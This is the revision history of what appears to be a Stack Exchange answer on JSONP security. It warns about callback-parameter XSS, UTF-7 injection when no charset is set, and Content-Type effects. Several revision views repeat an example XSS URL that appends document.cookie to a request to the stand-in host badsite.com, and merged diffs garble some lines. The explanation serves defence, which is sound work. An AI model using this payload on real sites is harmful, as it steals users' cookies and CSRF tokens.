4 replaced http://stackoverflow.com/ with https://stackoverflow.com/
source | link

The callback parameter may be an XSS vector

I found an answer on stackoverflowanswer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compressionaffect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

3 added 6 characters in body
source | link

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/json;javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/json; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

2 added 140 characters in body
source | link

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/json; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may affect iFrame security propertieshave an impact

Finally thereContent type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/json; charset=utf-8 then UTF7 injections are possible.

Content-Type may affect iFrame security properties

Finally there is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/json; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow

1
source | link